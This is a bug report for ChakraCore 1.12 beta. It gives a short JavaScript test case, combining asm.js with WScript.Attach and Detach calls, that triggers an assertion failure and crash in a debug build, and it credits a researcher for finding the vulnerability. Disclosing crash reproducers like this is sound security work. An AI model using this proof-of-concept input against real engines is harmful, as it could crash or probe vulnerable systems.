ASSERTION (VarIs<T>(obj)) failed in Js::VarTo

###### ChakraCore version:
version 1.12.0.0-beta

###### Build Commond
./build.sh --debug

###### OS
Ubuntu 16.04.6 LTS (Linux 4.4.0-142-generic x86_64)

###### Test case
```
function foo() {
'use asm';
function f(d0) {
d0 = +d0;
return 1 % (~~d0 >>> 0) | 0;
}
return f;
}
foo();
WScript.Attach((this, {bar: function(){}}, new ArrayBuffer(1 << 20)).toLocaleString);
WScript.Detach(foo);
WScript.Attach(foo);
```

###### Output
```
ASSERTION 127791: (ChakraCore/lib/Runtime/./Types/RecyclableObject.h, line 520) VarIs(obj)
Failure: (VarIs(obj))
Illegal instruction
```

Credits: This vulnerability is detected by chong from OWL337.